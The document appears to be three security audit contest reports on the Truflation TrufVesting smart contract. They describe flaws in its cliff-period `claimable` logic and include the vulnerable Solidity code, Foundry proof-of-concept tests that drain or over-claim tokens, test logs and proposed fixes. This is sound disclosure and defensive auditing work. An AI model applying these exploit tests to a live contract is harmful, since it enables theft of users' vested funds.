Uploaded files for judging

001/001.md

@@ -0,0 +1,121 @@
+Soft Topaz Gibbon
+
+high
+
+# Users can fully drain the `TrufVesting` contract
+
+## Summary
+Due to flaw in the logic in `claimable` any arbitrary user can drain all the funds within the contract.
+
+## Vulnerability Detail
+A user's claimable is calculated in the following way: 
+1. Up until start time it is 0.
+2. Between start time and cliff time it's equal to `initialRelease`.
+3. After cliff time, it linearly increases until the full period ends.
+
+However, if we look at the code, when we are at stage 2., it always returns `initialRelease`, even if we've already claimed it. This would allow for any arbitrary user to call claim as many times as they wish and every time they'd receive `initialRelease`. Given enough iterations, any user can drain the contract. 
+
+```solidity
+    function claimable(uint256 categoryId, uint256 vestingId, address user)
+        public
+        view
+        returns (uint256 claimableAmount)
+    {
+        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];
+
+        VestingInfo memory info = vestingInfos[categoryId][vestingId];
+
+        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;
+
+        if (startTime > block.timestamp) {
+            return 0;
+        }
+
+        uint256 totalAmount = userVesting.amount;
+
+        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;
+
+        startTime += info.cliff;
+
+        if (startTime > block.timestamp) {
+            return initialRelease;
+        }
+```
+
+```solidity
+    function claim(address user, uint256 categoryId, uint256 vestingId, uint256 claimAmount) public {
+        if (user != msg.sender && (!categories[categoryId].adminClaimable || msg.sender != owner())) {
+            revert Forbidden(msg.sender);
+        }
+
+        uint256 claimableAmount = claimable(categoryId, vestingId, user);
+        if (claimAmount == type(uint256).max) {
+            claimAmount = claimableAmount;
+        } else if (claimAmount > claimableAmount) {
+            revert ClaimAmountExceed();
+        }
+        if (claimAmount == 0) {
+            revert ZeroAmount();
+        }
+
+        categories[categoryId].totalClaimed += claimAmount;
+        userVestings[categoryId][vestingId][user].claimed += claimAmount;
+        trufToken.safeTransfer(user, claimAmount);
+
+        emit Claimed(categoryId, vestingId, user, claimAmount);
+    }
+```
+
+
+## Impact
+Any user can drain the contract 
+
+## Code Snippet
+https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L176C1-L182C10
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+change the if check to the following 
+```solidity
+        if (startTime > block.timestamp) {
+            if (initialRelease > userVesting.claimed) {
+            return initialRelease - userVesting.claimed;
+            }
+            else { return 0; } 
+        }
+```
+
+## PoC 
+
+```solidity
+    function test_cliffVestingDrain() public { 
+        _setupVestingPlan();
+        uint256 categoryId = 2;
+        uint256 vestingId = 0;
+        uint256 stakeAmount = 10e18;
+        uint256 duration = 30 days;
+
+        vm.startPrank(owner);
+        
+        vesting.setUserVesting(categoryId, vestingId, alice, 0, stakeAmount);
+
+        vm.warp(block.timestamp + 11 days);     // warping 11 days, because initial release period is 10 days
+                                                // and cliff is at 20 days. We need to be in the middle 
+        vm.startPrank(alice);
+        assertEq(trufToken.balanceOf(alice), 0);
+        vesting.claim(alice, categoryId, vestingId, type(uint256).max);
+        
+        uint256 balance = trufToken.balanceOf(alice);
+        assertEq(balance, stakeAmount * 5 / 100);  // Alice should be able to have claimed just 5% of the vesting 
+
+        for (uint i; i < 39; i++ ){ 
+            vesting.claim(alice, categoryId, vestingId, type(uint256).max);
+        }
+        uint256 newBalance = trufToken.balanceOf(alice);   // Alice has claimed 2x the amount she was supposed to be vested. 
+        assertEq(newBalance, stakeAmount * 2);             // In fact she can keep on doing this to drain the whole contract
+    }
+```
+

001/002.md

@@ -0,0 +1,80 @@
+Soft Topaz Gibbon
+
+high
+
+# `claimable` prior to cliff time does not account for locked balance
+
+## Summary
+`claimable` prior to cliff time does not account for locked balance 
+
+## Vulnerability Detail
+After a user's vesting begins, up until the cliff time, the user can claim their `initialRelease` part of the vesting. However, in that case it is not accounted if a user has staked any balance. This would allow the user to claim more than supposed to and leave the contract underfunded. Innocent users who then try to claim their vestings will get their transactions reverted due to lack of funds. 
+
+```solidity
+    function claimable(uint256 categoryId, uint256 vestingId, address user)
+        public
+        view
+        returns (uint256 claimableAmount)
+    {
+        UserVesting memory userVesting = userVestings[categoryId][vestingId][user];
+
+        VestingInfo memory info = vestingInfos[categoryId][vestingId];
+
+        uint64 startTime = userVesting.startTime + info.initialReleasePeriod;
+
+        if (startTime > block.timestamp) {
+            return 0;
+        }
+
+        uint256 totalAmount = userVesting.amount;
+
+        uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;
+
+        startTime += info.cliff;
+
+        if (startTime > block.timestamp) {
+            return initialRelease;
+        }
+```
+
+## Impact
+User will have unfairly high voting balance in `veTruf` contract
+Theft of funds.
+Innocent users will be unable to claim their vestings.
+
+## Code Snippet
+https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L176C1-L183C1
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+check `initialRelease` against `maxClaimable`
+
+## PoC 
+```solidity
+    function test_cliffDoesNotConsiderLocked() public { 
+        _setupVestingPlan();
+        uint256 categoryId = 2;
+        uint256 vestingId = 0;
+        uint256 stakeAmount = 10e18;
+        uint256 duration = 30 days;
+
+        vm.startPrank(owner);
+        
+        vesting.setUserVesting(categoryId, vestingId, alice, 0, stakeAmount);
+
+        vm.warp(block.timestamp + 11 days);     // warping 11 days, because initial release period is 10 days
+                                                // and cliff is at 20 days. We need to be in the middle 
+        vm.startPrank(alice);
+        vesting.stake(categoryId, vestingId, stakeAmount, duration);    // alice stakes her full amount 
+
+        assertEq(trufToken.balanceOf(alice), 0);
+        vesting.claim(alice, categoryId, vestingId, type(uint256).max);
+        
+        uint256 balance = trufToken.balanceOf(alice);
+        assertEq(balance, stakeAmount * 5 / 100);       // despite having staked her whole vesting balance, 
+                                                        // Alice could still claim 5% 
+    }
+```

001/007.md

@@ -0,0 +1,85 @@
+Sharp Denim Shrimp
+
+high
+
+# Incorrect `claimable` implementation allows users to withdraw locked tokens
+
+## Summary
+
+Vesting gives incorrect accounting during cliff period. This can be leveraged by malicious users to get extra voting tokens.
+
+## Vulnerability Detail
+
+The function `claimable` in `TurfVesting.sol` calculates the pending claimable tokens for the user. A user can also wish to lock up their tokens into the veTruf contract to instead get full access to their voting power even when the actual TRUF tokens are still frozen in the vesting contract.
+
+However, during the cliff period, the code has an escape condition that returns an incorrect value of claimable tokens. This is because, in this code block, the amount of tokens already locked into the veTruf contract is not accounted for. So users can withdraw their locked tokens, breaking accounting.
+
+https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L176-L182
+
+So if a user locks up all their vesting tokens into the veTruf contract, they are still able to withdraw tokens during the cliff period, which they shouldn't have access to.
+
+This can also be demonstrated in the following POC. Here, Alice gets vested 100 ETH of tokens. She locks them all up, waits until the cliff period, and then is able to withdraw 5 ETH of tokens which she shouldnt have access to.
+
+```solidity
+function testCliffAttack() external {
+    uint256 categoryId = 2;
+    uint256 vestingId = 0;
+    uint256 stakeAmount = 100e18;
+    uint256 duration = 30 days;
+    _setupVestingPlan();
+    // Setup Alice account with veting+cliff
+    vm.startPrank(owner);
+    vesting.setUserVesting(categoryId, vestingId, alice, 0, 100e18);
+    vm.stopPrank();
+
+    vm.warp(block.timestamp + 15 days);
+
+    // Check claimable
+    uint256 claimable = vesting.claimable(categoryId, vestingId, alice);
+    emit log_named_uint("Total vesting ", 100e18);
+    emit log_named_uint("claimable pre ", claimable);
+
+    // Stake
+    vm.startPrank(alice);
+    vesting.stake(categoryId, vestingId, stakeAmount, duration);
+    claimable = vesting.claimable(categoryId, vestingId, alice);
+    vesting.claim(alice, categoryId, vestingId, claimable);
+    emit log_named_uint("claimable post", claimable);
+    vm.stopPrank();
+}
+```
+
+Output:
+
+```bash
+Running 1 test for test/token/TrufVesting.t.sol:TrufVestingTest
+[PASS] testCliffAttack() (gas: 1244664)
+Logs:
+  Total vesting : 100000000000000000000
+  claimable pre : 5000000000000000000
+  claimable post: 5000000000000000000
+```
+
+We see her claimable didn't change even after locking in tokens, and the `claim` call passes.
+
+## Impact
+
+This gives users access to tokens that should be locked. Users can then lock the tokens they received back into the veTruf contract to get even more voting power. Also, since the vesting contract is paying out tokens to the malicious user which are actually in the veTruf contract, this creates a temporary illiquid state in the vesting contract, preventing unlocked users from withdrawing their tokens. Also, malicious users can use this as a way to bypass the locking period in veTruf tokens.
+
+For all these reasons this issue is a high severity issue.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol#L176-L182
+
+## Tool used
+
+Foundry
+
+## Recommendation
+
+Check against the amount of locked tokens during cliff period as well.
+
+```solidity
+return initialRelease - userVesting.locked;
+```